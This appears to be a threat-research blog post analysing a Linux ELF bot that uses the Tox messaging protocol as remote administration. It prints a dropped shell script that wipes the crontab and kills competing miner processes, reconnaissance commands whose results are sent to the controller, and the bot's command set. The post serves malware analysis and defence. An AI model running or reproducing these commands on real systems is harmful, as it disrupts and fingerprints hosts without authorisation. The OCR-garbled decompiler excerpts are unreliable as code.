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Tox is a peer-to-peer serverless messaging system that uses NaCl for encryption and decryption. Since it’s
serverless, it uses UDP and the DHT to find online peers, similar to what BitTorrent does. It is also meant to be

anonymous, which means each user gets a public key that also acts as their ID within the system.

Tox has been used before by threat actors as a contact method, but in this case, Tox is being used for remote

administration. The Uptycs threat research team recently found an ELF sample that acts as a bot and can run

scripts on the victim machine using the Tox protocol.

Technical Overview

The binary found in the wild is a stripped but dynamic executable, making decompilation easier. The entire binary

appears to be written in C, and has only statically linked the c-toxcore library.

Figure 1 shows the decompiled main function of the sample or starting point:
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55d4438c056e6c302fec3ec5dcf0520fcob0CCee 5 18t %O &l x
a0 [ bvarg = @; 5
41 fclose (stdout); 1

42| fclose(stderr);

43| shell_script =

44 "#!/usr/bin/shincrontab -rinpkill -9 kthreaddwhnpkill -9 .agetty’npkill -9 xmrigi\npkill -9 hkitt\n
pkill -9 hkittysnpkill -9 kinsinginpkill -9 kdevtmpfsiinpkill -9 bashirchnpkill -9 dbusedsnpkill -
9 javae'npgrep -f solr|xargs kill -9wn"

45 :

46 sVar3 = strlen(

47 "g! fusr/binsshiyncrontab -rinpkill -9 kthreaddwinpkill -8 .agettysnpkill -9 xmriginpk
111 -8 hkittiwnpkill -8 hkitty\npkill -9 kinsinginpkill -9 kdevtmpfsinpkill -9 bashi
rchnpkill -9 dbusedinpkill -8 javaeiwnpgrep -f solr|xargs kill -9wn"

48 )i

49| dest = malloc(svarz + 1)

50 | strepyldest,shell_script);

51 dest_size = strlen(dest);

52 _DAT_00E7ec30 = Ox74696e69;

53 _DAT_D067ec34 = O0x206c6169;

54 _DAT_0067ec38 = Ox7473696c;

55 DAT_0OBE7ec3c = 0;

56 | pthread_attr_init(&local 78);

57 | pthread_create(&local_40,&local_78,start_routinel, 0x0);

58| pthread_attr_init(&local be);

59| pthread_create(&local 80, &local_bE,start_routine2, param_2);

60 | FUN_0040333c();

61 | local 28 = FUN_0048559d(0);

62 FUN_004051ff(local_28,1);

63 FUMN_0040522a(local_28,1);

&4 FUM_0040543a(local_28,0);

65| local_2c = FUN_0D4038e7(0xBfc, Oxlddc);

66 | local_30 = FUN_OR4038e7(local_2c + 1000, local_2c + 3000);

67 | FUN_004052d8(local 28, local 2o & Oxffff);

68 | FUN_BE405306(local 28, local 30 & OxFff);

69 | local 38 = tox_new(local 28,0);

70| local_4bg = 0;

71 puVarg8 = local_4b0;

72| for (IVar5 = Ox7f; 1Var5 !=0; 1Var5 = 1Var5 + -1} {

-l

Figure 1: main function

The shell_script variable itself is suspicious, but it only kills certain programs that are known to infect linux
servers. It also deletes the crontab, which is something frequently used for persistence. Highlighted (see figure 1)
is a function called start_routinel (decompilation in figure 2), which opens a file with a random filename in

/var/tmp/ (Figure 3) and dumps the contents of shell_script in there and later executes it.
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Decompile: start_routinel - (333a6b3cf226c55d4438c0: b2 o | B~ x|
25 .tv_nsec = 0; A
26 do { r
27 if (dest_size
29 = initialize_rand(5,0xd);

) = generate_random_filename( b
31 =& H
2 for ( = oxf =0 = + -1 1
* =0;
4 = + ¥ -2+ 1
5 1
= Ox706d742f7261762F; P— L/ -
7 = ox2f; Nnrm.np
streat (& , )
= fopen(& Wbt N
a0 if ( I=0x0) {
41 fwrite (dest,dest_size,1, )i
42 fflush(
43 =
44 -
45 -
_1.' E]
47 for (
A8 *
49 =
50 H
51 streat (& L& IE
52 = popen(& L)
53 pclose( I
54 felose( )i
55 remove (& )
56 b
57 if { I= 0x0) {
58 free( )
. (
61 nanosleep (& & )i :

Figure 2: start_routinel

S file eg_"wxpmcj

eg “wxpmcj: a fusr/bin/sh script, ASCII text executable

: S cat eg_"wxpmcj
#!/usr/bin/sh
crontab -r
pkill kthreaddw
pkill -9 .agetty
pkill -9 xmrig
pkill hkitt
pkill hkitty
pkill kinsing
pkill kdevtmpfsi
pkill bashirc
pkill -9 dbused
pkill -9 javae
pgrep -f solr|xargs kill -9

Figure 3: The script that is dropped into /var/tmp/
The dropped shell script contains commands to kill cryptominer related processes.

start_routine2 gets called via pthread_create in the main function, which appears to send the output of every

command over UDP to the Tox recipient.
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c55d4438c056e6c302fec3ec5def0520fcsl '?0 | Iy | Qf | ﬁ| v X

[

// DISPLAY WARNING: Type casts are NOT being printed

vold start_routineZ(char **param_1)

{
slze_t sVarl;
timespec local
timespec local_

10| char *local_l8;

11 int local_10;

12| int local_c;

Do ~-;m U W

38
28

14 | svarl = strlen(*param_1);:
15 | local_c = svVarl;

16| do {

17 local 10 = initialize_rand (5, local_c);
18 local 18 = generate_random_filename(local 10);
19 memset (*param_1,0,local_c);

20 sVarl = strlen(local_18);

21 memcpy (*param_1,local 18,sVarl + 1);
22 free(local_18);

23 local_28.tv_sec = 1;

24 local_28.tv_nsec = O;

25 nanosleep (&local 28, &local_38);

26 } while( true };

27 |}

Figure 4: start_routine2

There are some bash commands (see Figure 5) that warrant attention. The dig command attempts to use

resolver4.opendns.com as a DNS server and looks up myip.opendns.com, something similar to this.

Using curl -s -m 20 ifconfig.me, the IP address of the machine is saved into a variable named name_var and cat
/var/lib/dbus/machine-id" gives the hardware ID of the machine, which is also stored into the same variable and
further used in tox_self_set_name to set the name of the user. Later, ‘nproc’, ‘uname -a” and "'whoami’ commands
are run, which are then stored into status_var, used in tox_self_set_status_message to set the status message of the

user.
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fec3ec5dcf0520fcObDecea75 7854 % || & @y x

nproc",&local_8ha); i
98 | sVar2 = strlen(&local_gha); 2
29 | popen_wrapper("uname -a",local_BhO + (svar3 - 81);
100 | sVars = strlen(&local_sha);
101 | popen_wrapper("whoami®,local_sh0 + (sVar3 - 8));
102 | sVars = strlen(&local_4bs);
103 | tox_self_set name(local 38,&local 4b8,sVars,0);
104 [ sVar3 = strlen{&local_8b8);
105 | tox_self_set status_message(local 38,&local 8bE,sVars,0);
106 | ppuvar7 = &TR s_205.185.115.131_004641c0;
107 | puvar8 = &local_c28;
108 | for (lvars = oxGe; 1varS != 0; lvarS = 1vars + -1) {
109 *puvarg = *ppuVar?;
110 ppuVar? = ppuVar? + bVar9 ¥ -2 + 1;
111 puVarg = puVar8 + bVar9 * -2 + 1;
112 }
113 [ for {local_10 = 0; local_10 < Oxb; local_10 = local_10 + 1) {
114 FUN_004422c0(local_cc8, 0x20,auStack3104 + local_10 * 0x28 + 1,0x40,0,0,0);
115 tox_bootstrap(local_38, (&local_c28) [local_10 * 10],auStack3104[Tlocal_10 * 0x28],local_ccB,0);
116 H
117 | tox_self_get_address(local_28,Tlocal_cS58);
118 | FUN_00442210(local_ca8,0x4d, local_cS8,0x26);
119 | for (local 18 = 0; local 18 < Oxdc; local_18 = local 18 + 1) {
120 1Var2 = toupper(local_ca8[local_181);
121 local_ca8[local_18] = iVarz;
122 s
123 I tox_callback_friend message lLocal_aacallback func!;‘- callback function inside tox_callback_friend_message
124 - - - _status({local 55, FUN_00404382);
125 uVard = FUN_OEA037FE(DAT_B0672940);
126 | tox_friend_add(local_38,uVard, "Incoming”,4,0);
127 | do {
128 tox_iterate(local 38,0);
129 ivarz = tox_iteration_interval();
130 usleep(ivarz * 1000);
121 |} while( true );
132 |}
133 A
Figure 5: some of the main function
ain - { d4438c0" fec3ec5dcf0520fcObDccee75785a( S| g 8l x
popen_wrapper("nproc", &local_8bE); &
o8 | sVar3 = strlen(&local_gbg); A
29 [ popen_wrapper("uname -a",local_8b0 + (sVar3 - 8));
100 | sVar3 = strlen(&local_sha);
101 | popen_wrapper("whoami",local_8b0 + (sVar3 - 8));
102 | sVar3 = strlen(&local_4bs);
103 | tox_self_set_name(local_38,&local_4b8,sVar3,0);
104 | sVar3 = strlen(&local_sha);
105 | tox_self_set_status_message(local_38,&local_8b8,sVars,0);
106 | ppuvar? = &PTR_s_205,185,115,131_004641c0;
107 | puVar8 = &local_c28;
108 [ for (1VarS = OxBe; 1varS != @; 1vVarS = 1varS + -1) {
109 *puvars = *ppuvar?;
110 ppuVary = ppuVar? + bVarg * -2 + 1;
111 puVarg = puVars8 + bvarg * -2 + 1;
112 ¥
113 | for {local 10 = 8; local 10 <« Oxb; local_ 10 = local 10 + 1) {
114 FUM_004422c0(local_cc8, 0x20, auStack3104 + Tocal 10 * 0x28 + 1,0x40,0,0,0);
115 tox_bootstrap(local 38, (&local c28)[local 10 * 10],austackz104[local 10 * 0x28],local ccg,0);
116 [ }
117 | tox_self_get_ address(local_38,local_c58);
118 | FUN_00442210(local_cas, 0xdd, local_c58, 0x26);
118 [ for {local_18 = 0; local_l8 < Oxdc; local_18 = local_18 + 1} {
120 1Var2 = toupper(local_ca8[local_18]);
121 local_caB8[local_18] = 1Var2;
122 L
123 I tox_callback_friend_messagel Dcal_’dﬂcallback func!‘-— callback function inside tox_l:nllbal:k_frlend_mussage
124 - - = " status{local 38, FUN_00404382);
125 uVard = FUN_004037f8(DAT_D0672940);
126 | tox_friend_add(local_38,uvard,"Incoming",4,0);
127 do {
128 tox_iterate(local 38,0);
129 ivar2 = tox_iteration_interval();
130 usleep(ivarz * 1000);
131 } while( true );
132 |}
133 v

Figure 6: rest of the main function
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Moving on in the main function, we can see tox related functions tox_new, tox_self_set_name, and

tox_self_set_status_message which are most likely used for tox setup on the victim machine.

In Figure 6, tox_callback_friend_message, gets called which looks at the previous message from a friend, and

decides what to do based on the message received.

There are three commands that are a part of the callback function(passed as arg to tox_callback_friend_message),

as shown in Figure 7.

“updatekilllist™ updates the script executed in start_routinel, “execscript” runs the script on-demand, “getinfo’

prints information, and “exit" quits the tox connection.

26c302fec3ecSdef0520fcob0ccea7S785a0c85) B0 . x
i
a5 else { -
46 1¥arl = stromp(local_20,%#");
47 1f (1Varl == @)
a8 local_2B = striok_r{0x0," *,&local_70);
ag local_38 = striok_r{0x0 s e
S0 ivarl = st rcnp{l::--:.ql_;'ﬂ
51 if (ivarl == Q) {
5 if (local 38 !'= Ox0) {
53 local_40 = strtok_r(0x0," *,&local_70):
54 if {local 40 l= Gx@) {
55 1Varl = FUN_DB403c50(1local_38, local_d40);
=5 1f (ivarl == 0) {
57 local_48 = "»==xex>UPDATE OK";
58 sVar2 = strlen(">>>>=x=UPDATE OK"):
59 tox_friend_send_message(param_1,param_2,0,local_48,5Var2,0);
&0
Bl 1
62 }
63 1
64 else {
65 iVarl = stremp(local Z8
66 if (1Varl == @) { [\
67 if {local 38 l= Ox0) {
68 FUN_0B403e81 (local_38);
&9 1
70 }
71 else {
72 ivarl = stremp(local_28f getinfo") ]
7 if {ivarl == Q) {
74 local_Sd8 = O;
75 puvars = local Sdo;
76 for (lVard = Gx7f; 1Vard 1= 0; 1Vard = 1vard + -1) {
Fri Jars = 0;
78 puvarS = puVar3 + bVarg * -2 + 1:
79 ¥
80 sprintf(&local_Sd&, "update: %d info: %s",DAT_D0572950,&DAT_0067ec30);
Bl sVar2 = strlen{&local_5de);
B2 tox_friend_send_nessage (param_1,paran_2,0,&local_S5d8,sVarz, a);
83 }
B4 else {
85 iVarl = stremp({local_z8
86 if (ivarl == 0) {
87 tox_kill(param_1);
&8 // WARNING: Subroutine does not return
B exit(0);
o0 }
ol ¥
o2 ¥
93 }
04 ¥ L

Figure 7: callback_func

Conclusion
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While the discussed sample does not do anything explicitly malicious, we feel that it might be a component of a
coinminer campaign. We are observing it for the first time where Tox protocol is used to run scripts onto the

machine.

We have seen attackers using Tox as a communication mechanism in the past, like in HelloXD ransomware, where

the attacker used Tox and onion-based messengers. Therefore, it becomes important to monitor the network

components involved in the attack chains.

10C
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